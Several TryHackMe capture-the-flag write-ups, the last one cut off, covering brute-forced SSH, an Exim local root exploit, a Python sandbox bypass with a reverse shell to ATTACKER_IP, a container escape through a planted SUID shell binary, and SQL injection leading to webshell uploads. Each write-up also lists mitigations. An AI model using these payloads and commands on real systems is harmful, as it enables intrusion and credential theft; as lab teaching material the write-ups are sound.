peppermint-butler@at:~$ ls -la
-rw-------  1 peppermint-butler peppermint-butler 85555 sep 21  2019 butler-1.jpg
-rw-r-----  1 peppermint-butler peppermint-butler    28 sep 22  2019 flag3

peppermint-butler@at:~$ find / -type f -user peppermint-butler 2>/dev/null | grep -v proc
/usr/share/xml/steg.txt
/etc/php/zip.txt
/home/peppermint-butler/flag3
/home/peppermint-butler/butler-1.jpg

peppermint-butler@at:~$ cat /usr/share/xml/steg.txt
...
The password of my secret file is 'ToKeepASecretSafe'
peppermint-butler@at:~$ cat /etc/php/zip.txt
...
The password of my secret file is 'ThisIsReallySave'

Two different passwords - one for steghide, one for the zip.

Served the image to the attacker machine:

peppermint-butler@at:~$ python3 -m http.server 8000

wget http://land-of-ooo.com:8000/butler-1.jpg

steghide extract -sf butler-1.jpg
Enter passphrase: ToKeepASecretSafe
wrote extracted data to "secrets.zip".

unzip secrets.zip
[secrets.zip] secrets.txt password: ThisIsReallySave

cat secrets.txt
...
I think I saw him type in something.
It was unclear, but it was something like 'The Ice King s????'.
The last 4 letters where a blur.

11. Bruteforce gunter's SSH password

Peppermint Butler's image had no useful EXIF. The hint from secrets.txt gives a partial password pattern for user gunter.

crunch 18 18 -t 'The Ice King s@@@@' > pass.txt
Crunch will now generate the following number of lines: 456976

hydra -l gunter -P pass.txt -t 4 ssh://MACHINE_IP

[22][ssh] host: MACHINE_IP   login: gunter   password: The Ice King sucks

12. su/SSH as gunter

peppermint-butler@at:~$ su gunter
Password: The Ice King sucks
gunter@at:~$ id
uid=1007(gunter) gid=1007(gunter) groups=1007(gunter),1012(gcc)
gunter@at:~$ cat flag4
tryhackme{REDACTED}

gunter is in the gcc group. Checking SUID binaries:

gunter@at:~$ find / -perm -4000 2>/dev/null
/usr/sbin/exim4
...
gunter@at:~$ ls -la /usr/sbin/exim4
-rwsr-xr-x 1 root 1011 1140200 feb 14  2018 /usr/sbin/exim4
gunter@at:~$ exim4 --version
Exim version 4.90_1 #4 built 14-Feb-2018 16:01:14

Exim 4.90_1 is vulnerable to CVE-2019-10149 (local privilege escalation via RCPT TO command injection). Exim was listening on localhost port 60000 (confirmed from /etc/exim4/update-exim4.conf.conf):

gunter@at:~$ ss -tlnp | grep 60000
LISTEN   0   20   127.0.0.1:60000   0.0.0.0:*

13. CVE-2019-10149 - SUID exim4 LPE to root

Used the public PoC (exploit-db 46996), modified the exec 3<>/dev/tcp/localhost/25 line to point to port 60000:

gunter@at:~$ nano cve-2019-10149.sh
gunter@at:~$ bash cve-2019-10149.sh

raptor_exim_wiz - "The Return of the WIZard" LPE exploit

Preparing setuid shell helper...
Delivering setuid payload...
220 at ESMTP Exim 4.90_1 Ubuntu Tue, 22 Sep 2026 13:44:25 +0200
250 at Hello localhost [127.0.0.1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1x8yvB-0001gJ-SI
221 at closing connection

Waiting 5 seconds...
-rwsr-xr-x 1 root gunter 8504 sep 22 13:44 /tmp/pwned
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1007(gunter),1012(gcc)

14. Final flag - BMO reset code

# cd /home/bubblegum/Secrets
# cat bmo.txt
Secret project number: 211243A
Name opbject: BMO
Rol object: Spy

In case of emergency use resetcode: tryhackme{REDACTED}

Key Vulnerabilities

Sensitive data in EXIF metadata - Binary-encoded credentials/clues were embedded in the XP Comment field of publicly accessible FTP images, relying on obscurity rather than any real access control.
Unauthenticated multi-stage web puzzle leaking credentials - The land-of-ooo.com web chain encoded the SSH username and password behind several layers of encoding (Morse, AES, base32+Caesar) with all decryption parameters embedded in the HTML comments of the same pages. The AES key, IV, mode, and ciphertext were all provided in the same page source.
Weak access-control binary (/etc/fonts/helper) - An executable owned by marceline was accessible to the apple-guards group and unconditionally printed a password after the user answered a trivial cipher puzzle, with no authentication.
Credentials embedded in a Spoon script stored in a readable file - The peppermint-butler password was obtainable by anyone who could read I-got-a-secret.txt in Marceline's home directory and knew how to decode Spoon.
Steganography as the only secret protection - The gunter password hint was hidden in secrets.zip behind a steghide-extracted image; once the steghide and zip passwords were found in world-readable files (/usr/share/xml/steg.txt, /etc/php/zip.txt), the hint was trivially extractable.
Weak partial-password pattern enabling brute-force - The password The Ice King sucks followed a known prefix (The Ice King s) with only four lowercase letter positions unknown, making a 456,976-candidate wordlist trivial to generate and brute-force over SSH.
SUID root exim4 vulnerable to CVE-2019-10149 - Exim 4.90_1, running as a SUID-root binary, contains a command injection flaw in RCPT TO address handling (The Return of the WIZard). Any local user who can reach the SMTP port can exploit this to execute arbitrary commands as root.

Mitigations

Never embed credentials, encoding keys, or puzzle answers in publicly accessible metadata (EXIF), HTML comments, or world-readable files. Use proper secrets management.
Do not rely on multi-layer encoding (Morse, Caesar, AES with embedded keys) as a substitute for authentication. Credentials should be gated by actual access controls, not obscurity.
Restrict access to password-revealing helper binaries to specific authenticated users rather than entire groups, and require stronger proof of identity than a trivial cipher puzzle.
Keep all network-facing and SUID services patched. Exim 4.90_1 was already known-vulnerable at the time of room creation (CVE-2019-10149 was published in June 2019); updating to a patched release removes the LPE entirely.
Avoid using predictable password patterns (known prefix + short suffix). Enforce a password policy that prevents partial-knowledge brute-force attacks.
Run mail transfer agents (like exim) as unprivileged users rather than with SUID root; use capability-based privilege separation instead.

TryHackMe: Python Playground Writeup

Yogeshwar Peela — Tue, 22 Sep 2026 12:09:44 +0000

Summary

Python Playground is a hard-rated TryHackMe box built around a "sandboxed" Python code execution service fronted by a Node.js/Express web app. The site advertises a blacklist-based filter that supposedly prevents arbitrary code execution, but the filter can be bypassed using Python's __import__() builtin to dynamically load os/subprocess without triggering the blacklisted keywords. This gives remote code execution as root on the box running the web service, and a custom two-pass Caesar-style cipher recovered from a leftover Python REPL transcript yields SSH credentials for a second user, connor. Only after landing both shells does it become clear the RCE shell is actually inside a Docker container rather than the host itself - a fact confirmed by checking for Docker tooling on that shell. From there, a log-mount misconfiguration (/var/log on the host is bind-mounted into the container at /mnt/log) is abused to plant a SUID root binary on the host filesystem, which connor can then execute for a full container-to-host privilege escalation.

Attack Chain

1. Recon

rustscan -a MACHINE_IP --ulimit 5000

Open MACHINE_IP:22
Open MACHINE_IP:80

nmap -sC -sV MACHINE_IP -p 22,80 -oN nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!

curl http://MACHINE_IP/

<h1>Secure Python Playground</h1>
...
Introducing the new era code sandbox; python playground!
Normally, code playgrounds that execute code serverside
are easy ways for hackers to access a system. Not anymore!
With our new, foolproof blacklist, no one can break into our
servers, and we can all enjoy the convenience of running our
python code on the cloud!
...
<a href="login.html">Login</a>
<a href="signup.html">Sign up</a>

login.html and signup.html both return a "site is admin-only right now" placeholder page.

2. Content discovery

gobuster dir -u http://MACHINE_IP/ -w /usr/share/wordlists/dirb/common.txt -x html

admin.html           (Status: 200) [Size: 3134]
index.html           (Status: 200) [Size: 941]
login.html           (Status: 200) [Size: 549]
signup.html          (Status: 200) [Size: 549]

admin.html (larger size) led to further probing that surfaced the actual code-execution endpoint (not part of the common wordlist), reached directly:

curl http://MACHINE_IP/super-secret-admin-testing-panel.html

Returns an unauthenticated form:

<h2 class="m-3">Python Playground! <sub>- By Connor</sub></h2>
<textarea class="form-control mb-3" name="code"></textarea>
<textarea class="form-control mb-3" readonly></textarea>
<input type="submit" class="form-control btn-primary mb-3" value="Go!">

3. Filter analysis

Basic execution works fine:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(1+1)"

<textarea ...>2

Exit code 0</textarea>

But anything referencing os/subprocess/import directly is blocked:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import os print(os.popen('id').read())"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('os').system('id')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.run('ls')"
curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=import subprocess subprocess.check_output('ls')"

All of these return:

<textarea class="form-control mb-3" readonly>Security threat detected!</textarea>

4. Filter bypass

Calling __import__('subprocess') as an attribute chain, without the literal blacklisted call pattern, gets through:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=__import__('subprocess').check_output('id')"

<textarea class="form-control mb-3" readonly>
Exit code 0</textarea>

Confirming full command execution:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode "code=print(__import__('subprocess').check_output('/bin/sh -c id', shell=True))"

<textarea class="form-control mb-3" readonly>b'uid=0(root) gid=0(root) groups=0(root)\n'

Exit code 0</textarea>

5. Reverse shell

A raw socket.connect() + subprocess.call(["/bin/sh","-i"], ...) payload built purely from __import__() calls (so no blacklisted keyword ever appears literally) was used to avoid the filter:

curl -s http://MACHINE_IP/super-secret-admin-testing-panel.html --data-urlencode 'code=s = __import__("socket").socket()
s.connect(("ATTACKER_IP",4444))
f = s.fileno()
__import__("subprocess").call(["/bin/sh","-i"], -1, None, f, f, f)'

Caught with a listener (penelope in this case):

penelope listen -p 4444
[+] [New Reverse Shell] => playgroundweb MACHINE_IP Linux-x86_64  Session ID <1>
[+] Agent deployed via /usr/bin/python3
root@playgroundweb:~/app#

Landed directly as root inside the web app's container:

root@playgroundweb:~/app# whoami
root
root@playgroundweb:~/app# id
uid=0(root) gid=0(root) groups=0(root)
root@playgroundweb:~/app# ls
index.js  node_modules  package-lock.json  package.json  scripts  static

Container flag:

root@playgroundweb:~/app# cd /root
root@playgroundweb:~# cat flag1.txt
THM{REDACTED}

6. Recovering `connor`'s credentials (cipher reversal)

A Python REPL transcript found while poking around revealed a custom double-pass letter-pair cipher and its ciphertext. Reversing it:

>>> def f_inv(s):
...     out = []
...     for i in range(0, len(s), 2):
...         a = ord(s[i]) - 97
...         b = ord(s[i+1]) - 97
...         out.append(chr(a*26 + b))
...     return ''.join(out)
...
... target = 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu'
... step1 = f_inv(target)   # undo the outer f
... password = f_inv(step1) # undo the inner f
... print(password)
...
spaghetti1245

7. SSH access as `connor`

ssh connor@MACHINE_IP

connor@MACHINE_IP's password: spaghetti1245
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)
Last login: Sat May 16 06:01:55 2020 from 10.0.2.2
connor@pythonplayground:~$ whoami
connor
connor@pythonplayground:~$ id
uid=1000(connor) gid=1000(connor) groups=1000(connor)

Flag from connor's home directory:

connor@pythonplayground:~$ cat flag2.txt
THM{REDACTED}

Initial enumeration as connor came up empty:

connor@pythonplayground:~$ sudo -l
Sorry, user connor may not run sudo on pythonplayground.
connor@pythonplayground:~$ find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/newgrp
...
/bin/su

8. Realizing the RCE landed inside a Docker container

Going back to the earlier super-secret-admin-testing-panel.html shell, a check for Docker tooling on that box came back empty, which - combined with the container-style hostname (playgroundweb) and minimal filesystem seen earlier - confirmed the RCE shell was inside a Docker container, separate from the host connor was SSH'd into:

root@playgroundweb:~# which docker
root@playgroundweb:~#

With that confirmed, the next step was researching Docker container escape / privilege escalation techniques rather than a normal Linux privesc path.

9. Container escape prep - abusing a shared log mount

root@playgroundweb:~# cat /proc/self/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
root@playgroundweb:~# mount | grep -v "proc\|sys\|tmpfs\|overlay\|devpts\|mqueue\|shm"
/dev/nvme1n1p2 on /mnt/log type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/resolv.conf type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hostname type ext4 (rw,relatime,data=ordered)
/dev/nvme1n1p2 on /etc/hosts type ext4 (rw,relatime,data=ordered)
root@playgroundweb:~# findmnt /mnt/log
TARGET   SOURCE                   FSTYPE OPTIONS
/mnt/log /dev/nvme1n1p2[/var/log] ext4   rw,relatime,data=ordered

/mnt/log inside the container is the host's /var/log, mounted read-write. Since this is a real partition mount (not just an empty overlay dir), anything written here lands directly on the host filesystem - confirmed from the host side too:

connor@pythonplayground:~$ find / -type d -name log 2>/dev/null
/var/log
connor@pythonplayground:~$ ls -la /var/log
total 3900
drwxrwxr-x   9 root      syslog             4096 May 11  2020 .
...

10. Planting a SUID root binary on the host

root@playgroundweb:~/app# which gcc
/usr/bin/gcc
root@playgroundweb:~/app# cat << 'EOF' > /tmp/privesc.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
EOF
root@playgroundweb:~/app# gcc -static -o /mnt/log/privesc /tmp/privesc.c
root@playgroundweb:~/app# chmod 4755 /mnt/log/privesc
root@playgroundweb:~/app# ls -la /mnt/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /mnt/log/privesc

11. Privilege escalation via the planted SUID binary

The binary written to /mnt/log/privesc inside the container appears on the host at the corresponding /var/log path:

connor@pythonplayground:~$ ls -la /var/log/privesc
-rwsr-xr-x 1 root root 877640 Sep 22 08:32 /var/log/privesc
connor@pythonplayground:~$ /var/log/privesc -p
root@pythonplayground:~# whoami
root
root@pythonplayground:~# id
uid=0(root) gid=0(root) groups=0(root),1000(connor)

Final flag:

root@pythonplayground:/root# cat flag3.txt
THM{REDACTED}

Key Vulnerabilities

Insecure Python "sandbox" (blacklist-based code execution filter) - The application attempts to block dangerous code by string/keyword matching rather than using a real sandboxing mechanism (e.g., restricted execution environment, seccomp, containerized subprocess with no filesystem/network access). __import__() used as a callable bypasses any blacklist built around literal import statements or named function calls.
Unrestricted server-side code execution as root - The playground process itself ran as root inside its container, turning a filter bypass directly into full container compromise instead of a constrained low-privilege execution context.
Sensitive host path bind-mounted into a container with write access - /var/log on the host was mounted into the application container at /mnt/log with read/write permissions, allowing a compromised container process to write arbitrary files (including a SUID binary) directly onto the host filesystem.
Weak "custom crypto" for credential storage - The connor password was protected only by a simple, reversible double-pass substitution/letter-pair cipher rather than a proper password hash, making it trivial to invert once the transformation logic was discovered.
Hidden but unauthenticated admin endpoint - super-secret-admin-testing-panel.html was reachable by anyone who found or guessed the path; there was no authentication gating access to the code-execution feature at all.

Mitigations

Never implement sandboxing via keyword/string blacklists for a language as dynamically expressive as Python; use vetted sandboxing (e.g., nsjail, gVisor, WebAssembly-based interpreters, or a fully separate least-privileged execution service) or disallow arbitrary code execution features entirely.
Run code-execution services as an unprivileged, tightly scoped user inside the container, with a read-only root filesystem and no unnecessary capabilities.
Avoid bind-mounting sensitive host directories (especially /var/log or anything else outside a dedicated data directory) into containers, and never mount them writable unless strictly required; apply the principle of least privilege to all mount points.
Store credentials using a proper password hashing algorithm (bcrypt/argon2/scrypt) rather than any reversible or "security through obscurity" cipher.
Require authentication before exposing any code-execution or administrative functionality, and avoid relying on "hidden" endpoint names as an access control mechanism.

TryHackMe - Olympus Writeup

Yogeshwar Peela — Thu, 10 Sep 2026 09:40:12 +0000

Summary

Olympus is a Linux box built around an old Victor CMS 1.0 install hidden
under /~webmaster/. An unauthenticated SQL injection in the CMS search
feature was the root of the entire chain: it dumped an initial flag, user
password hashes, and a full chat log. One cracked password unlocked both
the CMS admin panel and a second vhost, chat.olympus.thm, running a
custom chat app with file upload. A PHP reverse shell was uploaded there,
and its randomized server-side filename - meant to stop direct access -
was recovered from the database through the same SQL injection, giving a
www-data shell. From there, a SUID file-copy utility owned by user
zeus was abused to exfiltrate zeus's SSH private key despite the
.ssh directory being otherwise inaccessible; cracking its passphrase
gave an SSH shell as zeus and the user flag. zeus's group membership
on a hidden web directory exposed a password-protected PHP "root shell
backdoor" script left behind by a previous attacker (prometheus);
reading its source revealed the hardcoded password, and calling it
returned a reverse shell running as root, yielding the root flag and a
bonus flag hidden elsewhere on disk.

1. Recon

nmap -A -Pn <MACHINE_IP>

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://olympus.thm

echo '<MACHINE_IP> olympus.thm' >> /etc/hosts

The root page is a static "under development" placeholder (Aperi'Solve /
particles.js branding), nothing actionable directly.

2. Web Enumeration

dirsearch and ffuf against olympus.thm found a hidden user directory:

ffuf -u http://olympus.thm/FUZZ -w /usr/share/wordlists/dirb/common.txt -ac

~webmaster              [Status: 301, Size: 315, ...]

http://olympus.thm/~webmaster/ serves a Victor CMS 1.0 site (confirmed
by HTML comments: @project 'Simple Content Management System',
@author 'Victor Alagwu'). A "Credentials" blog post on the site hints
that some users reuse weak/common passwords.

whatweb http://olympus.thm/~webmaster/

Apache[2.4.41], Bootstrap[3.3.7], Cookies[PHPSESSID], PHP, JQuery, Title[Victor CMS]

3. Identifying the Vulnerable CMS

searchsploit victor cms

Victor CMS 1.0 - 'Search' SQL Injection              | php/webapps/48734.txt
Victor CMS 1.0 - Authenticated Arbitrary File Upload  | php/webapps/48490.txt
Victor CMS 1.0 - File Upload To RCE                   | php/webapps/49310.txt
Victor CMS 1.0 - Multiple SQL Injection (Authenticated)| php/webapps/49282.txt

The unauthenticated search parameter on search.php is directly
injectable per the advisory:

POST /CMSsite/search.php
search=1337'union+select+1,2,version(),database(),5,6,7,8,9,10 -- -

4. SQL Injection - search.php

Automated with sqlmap:

sqlmap -u "http://olympus.thm/~webmaster/search.php" \
  --data="search=1337*&submit=" --dbs --random-agent -v 3

sqlmap confirmed boolean-based, error-based, time-based, and UNION-based
injection on the custom search POST parameter, and enumerated the
databases:

available databases [6]:
[*] information_schema
[*] mysql
[*] olympus
[*] performance_schema
[*] phpmyadmin
[*] sys

4.1 Tables

sqlmap ... -D olympus --tables

[6 tables]
categories, chats, comments, flag, posts, users

4.2 Flag table

sqlmap ... -D olympus -T flag --dump

+---------------------------+
| flag                      |
+---------------------------+
| flag{REDACTED}            |
+---------------------------+

4.3 Users table

sqlmap ... -D olympus -T users --dump

| user_id | user_name  | user_role | user_email             | user_password (bcrypt)                                      |
|   3     | prometheus | User      | prometheus@olympus.thm | $2y$10$YC6uoMwK9VpB5QL513vfLu1RV2sgBf01c0lzPHcz1qK2EArDvnj3C |
|   6     | root       | Admin     | root@chat.olympus.thm  | $2y$10$lcs4XWc5yjVNsMb4CUBGJevEkIuWdZN3rsuKWHCc.FGtapBAfW.mK |
|   7     | zeus       | User      | zeus@chat.olympus.thm  | $2y$10$cpJKDXh2wlAI5KlCsUaLCOnf0g5fiG0QSUS53zp/r0HMtaj6rT4lC |

The root/zeus emails leak a second vhost: chat.olympus.thm.

5. Cracking the Hash

john --wordlist=/usr/share/wordlists/rockyou.txt user-hash.txt

summertime       (prometheus)

prometheus : summertime cracked against the bcrypt hash; root and
zeus were not cracked with rockyou.

6. CMS Admin Access

Logged into http://olympus.thm/~webmaster/admin/ as prometheus. The
Users page confirms the same three accounts and the chat.olympus.thm
addresses seen in the SQLi dump.

7. Second Vhost - chat.olympus.thm

echo '<MACHINE_IP> chat.olympus.thm' >> /etc/hosts

The same prometheus:summertime credentials work at
http://chat.olympus.thm/login.php, landing on home.php: a custom chat
app with a message box and file upload.

7.1 Chat history via SQLi

The chats table was pulled directly through the same search.php
injection:

sqlmap ... -D olympus -T chats --dump

| dt         | msg                                | uname      | file                                  |
| 2022-04-05 | Attached : prometheus_password.txt | prometheus | 47c3210d51761686f3af40a875eeaaea.txt  |
| 2022-04-06 | random file name function...       | zeus       | <blank>                               |
| 2026-09-10 | Attached : rev.php                 | prometheus | ff1957eacecdeafa2f3b285a01f40920.php  |

Uploaded files are renamed server-side to a random 32-character hex
string as an access control - an old chat message from zeus confirms
this was intentional ("The IT guy used a random file name function to
make it harder for attackers to access the uploaded files"). It fails
because the real generated filename is stored in chats.file and is
readable through the same SQL injection, defeating the protection
entirely.

A {{7*7}} message was also sent to probe for server-side template
injection; it was not confirmed to render before moving on.

7.2 Reverse shell upload

A PHP reverse shell (rev.php) was uploaded via the chat file input. Per
the chats dump, it was stored as:

ff1957eacecdeafa2f3b285a01f40920.php

penelope listen -p 4444

Requesting that filename returned a shell:

[+] [New Reverse Shell] => www-data(33)
www-data@<MACHINE_IP>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),7777(web)

8. www-data Enumeration

cat /home/zeus/zeus.txt

Hey zeus !
I managed to hack my way back into the olympus eventually.
Looks like the IT kid messed up again !
I've now got a permanent access as a super user to the olympus.
                                                - Prometheus.

cat /home/zeus/user.flag
flag{REDACTED}

/home/zeus/.ssh denies access directly, but a SUID binary owned by
zeus was found:

find / -perm -4000 2>/dev/null | grep cputils
-rwsr-xr-x 1 zeus zeus 17728 Apr 18  2022 /usr/bin/cputils

cputils is a simple file-copy utility that runs with zeus's effective
UID, so it can read files www-data otherwise cannot:

/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/authorized_keys
Enter the Name of Target File: /tmp/auth_keys
File copied successfully.

/usr/bin/cputils
Enter the Name of Source File: /home/zeus/.ssh/id_rsa
Enter the Name of Target File: /tmp/id_rsa
File copied successfully.

Both files were copied out to /tmp, giving zeus's SSH keypair.

9. Cracking the SSH Key and Logging in as zeus

ssh2john zeus-key > zeus-hash
john --wordlist=/usr/share/wordlists/rockyou.txt zeus-hash

snowflake        (zeus-key)

ssh -i zeus-key zeus@olympus.thm

zeus@<MACHINE_IP>:~$ cat user.flag
flag{REDACTED}

sudo -l failed (no known password), and standard privesc checks
(SUID binaries, find -group adm, listening ports, ps aux) did not
turn up anything further directly - the actual path forward was a file
zeus had incidental access to.

10. Root via a Leftover Backdoor Webshell

find / -user zeus 2>/dev/null | grep -v '^/proc\|^/sys\|^/run'
...
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/index.html
/var/www/html/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php

ls -la /var/www/html/
drwxrwx--x 2 root zeus 4096 Jul 15  2022 0aB44fdS3eDnLkpsz3deGv8TttR4sc

The directory is root:zeus with group execute/read, so zeus can enter
it and read its contents (but not list it via a plain top-level listing).
Inside is a password-gated PHP reverse-shell backdoor, apparently planted
by prometheus per the earlier note ("I've now got a permanent access as
a super user to the olympus"):

<?php
$pass = "a7c5ffcf139742f52a5267c4a0674129";
if(!isset($_POST["password"]) || $_POST["password"] != $pass) die('<form ...>Password: ...</form>');
...
$shell = "uname -a; w; $suid_bd";
...

Because zeus can read the file directly, the hardcoded password is
visible in the source - no cracking needed. The script is a classic
fsockopen reverse shell gated by that password and driven by ?ip= and
?port= GET parameters.

Browsing to it and POSTing the password confirms the usage banner:

GET /0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php
POST password=a7c5ffcf139742f52a5267c4a0674129

snodew reverse root shell backdoor
Usage:
Locally: nc -vlp [port]
Remote: <MACHINE_IP>/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip=[destination of listener]&port=[listening port]

Triggering it against a listener:

penelope listen -p 4444

http://<MACHINE_IP>/0aB44fdS3eDnLkpsz3deGv8TttR4sc/VIGQFQFMYOST.php?ip=<ATTACKER_IP>&port=4444

(POST the password first via the form, then load the ?ip=&port= URL.)

[+] [New Reverse Shell] => root(0)
root@<MACHINE_IP>:/# whoami
root
root@<MACHINE_IP>:/# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),7777(web)

11. Root and Bonus Flags

cat /root/root.flag

                You did it, you defeated the gods.
                        Hope you had fun !

                   flag{REDACTED}

PS : Prometheus left a hidden flag, try and find it !
     I recommend logging as root over ssh to look for it ;)
     (Hint : regex can be usefull)

Following the hint:

grep -r "flag{" / --exclude-dir={proc,sys,dev,snap} 2>/dev/null

/root/root.flag:               flag{REDACTED}
/home/zeus/user.flag:          flag{REDACTED}
/etc/ssl/private/.b0nus.fl4g:  flag{REDACTED}
Binary file /var/lib/mysql/olympus/flag.ibd matches

A fourth, hidden flag was sitting in /etc/ssl/private/.b0nus.fl4g, only
findable by grepping the filesystem as root as the note suggested.

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Unauthenticated SQL injection	`~webmaster/search.php` (`search`)	Full DB dump: flag, user hashes, chat log (root cause of the whole chain)
2	Weak / reused password	`prometheus` account	Cracked via rockyou (`summertime`); unlocked CMS admin and chat app
3	Randomized-filename upload protection defeated	`chat.olympus.thm` upload + `chats` table	Real stored filename recoverable via SQLi, enabling direct access to an uploaded PHP reverse shell
4	Unrestricted file upload	`chat.olympus.thm` upload endpoint	RCE as `www-data` via uploaded `.php` shell
5	SUID utility usable as arbitrary-file-read-as-owner	`/usr/bin/cputils` (SUID `zeus`)	`www-data` used it to copy `zeus`'s SSH private key out of an otherwise inaccessible `.ssh` directory
6	Weak SSH key passphrase	`zeus`'s `id_rsa`	Cracked via rockyou (`snowflake`); gave interactive SSH as `zeus`
7	Leftover password-protected backdoor webshell, password recoverable via file permissions	`/var/www/html/<random-dir>/VIGQFQFMYOST.php`, `root:zeus` directory perms	`zeus` group membership let it read the hardcoded backdoor password; running it gave a root shell

Attack Chain

olympus.thm (port 80)
  |
  |-- dirsearch/ffuf -> /~webmaster/ (Victor CMS 1.0)
        |
        |-- searchsploit -> known 'search' SQLi (EDB-48734)
              |
              |-- sqlmap -> dump DB
                    |-- flag table  -> flag 1
                    |-- users table -> bcrypt hashes
                          |
                          |-- john + rockyou -> prometheus:summertime
                                |
                                |-- CMS admin login -> confirms chat.olympus.thm
                                      |
                                      |-- chat.olympus.thm login (same creds)
                                            |
                                            |-- upload rev.php
                                            |-- chats table (via SQLi) -> real uploaded filename
                                            |-- request shell -> www-data
                                                  |
                                                  |-- SUID cputils (owned by zeus)
                                                  |     -> copy zeus's authorized_keys + id_rsa
                                                  |
                                                  |-- ssh2john + john + rockyou -> id_rsa passphrase: snowflake
                                                        |
                                                        |-- ssh as zeus -> flag 2 (user)
                                                              |
                                                              |-- find -user zeus -> root:zeus web directory
                                                              |-- read backdoor PHP source -> hardcoded password
                                                              |-- trigger backdoor (?ip=&port=) -> root
                                                                    |
                                                                    |-- flag 3 (root)
                                                                    |-- grep -r "flag{" / -> flag 4 (bonus, /etc/ssl/private/.b0nus.fl4g)

Mitigations

Parameterize the search.php query (prepared statements) to close the SQL injection entry point the entire chain depends on.
Enforce a password policy / reject breached passwords so accounts like prometheus and SSH keys like zeus's aren't crackable from a common wordlist in minutes.
Do not rely on an unguessable filename as the only upload control - pair it with strict extension/MIME allow-listing, storage outside the webroot, and disabling script execution in the upload directory; and never let application data (the chats table) hold the mapping from a guessable identifier back to the real protected filename.
Remove SUID bits from utilities that don't need them, or have them validate that the invoking user actually owns/can already access the source path before copying it - cputils should not let www-data read zeus's private files just because the binary itself is owned by zeus.
Audit and remove leftover attacker tooling (backdoor webshells, planted scripts) instead of leaving it in place with only a hardcoded password for protection - and don't leave application/webroot directories group-readable to standard user accounts.
Rotate and re-secure the box entirely after any confirmed compromise; the prometheus.txt note makes clear a prior attacker had already established persistent root access before this engagement began.

TryHackMe - CyberHeroes Writeup

Yogeshwar Peela — Wed, 09 Sep 2026 15:28:58 +0000

Summary

CyberHeros is an easy-rated web challenge built on the iPortfolio Bootstrap template. The site advertises a "login page" challenge directly in its About section. Inspection of login.html reveals that authentication is performed entirely client-side in JavaScript, with the username hardcoded in plaintext and the password obfuscated by a trivial string-reversal function. Once the credentials are recovered from the page source, the same client script reveals the exact filename of a flag file hosted on the webserver, constructed dynamically from the submitted username and password. No exploitation of the server itself is required - the vulnerability is a client-side logic flaw combined with a predictable, credential-derived file path.

Target: <MACHINE_IP>
Category: Web
Difficulty: Easy
Key weakness: Client-side authentication with hardcoded/obfuscated credentials in JS, plus a predictable flag filename built from those credentials

1. Reconnaissance

Confirmed host is up and scanned open ports:

nmap -A -Pn <MACHINE_IP> -o nmap

Results:

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open  http    Apache httpd 2.4.48 (Ubuntu)

http-title identified the site as "CyberHeros : Index", running the iPortfolio Bootstrap template.

2. Initial Web Enumeration

Pulled the index page and reviewed static assets (aos.js, purecounter.js, validate.js) - all confirmed to be unmodified template vendor libraries, no custom logic there.

The index page's About section directly hints at the objective:

We find vulnerabilities in the website legally... find the vuln on our login page and login to join us.

Nav bar links to login.html.

3. Directory Enumeration

gobuster dir -u http://<MACHINE_IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50

Notable results:

assets                (Status: 301)
changelog.txt         (Status: 200) [Size: 2756]
index.html            (Status: 200) [Size: 6568]
login.html            (Status: 200) [Size: 5753]

No PHP backend, no admin panel, no backup files - confirming the target is static/client-side only.

4. Inspecting login.html

Fetched the login page source directly:

curl http://<MACHINE_IP>/login.html

The page ships an inline <script> block containing the entire authentication logic:

function authenticate() {
  a = document.getElementById('uname')
  b = document.getElementById('pass')
  const RevereString = str => [...str].reverse().join('');
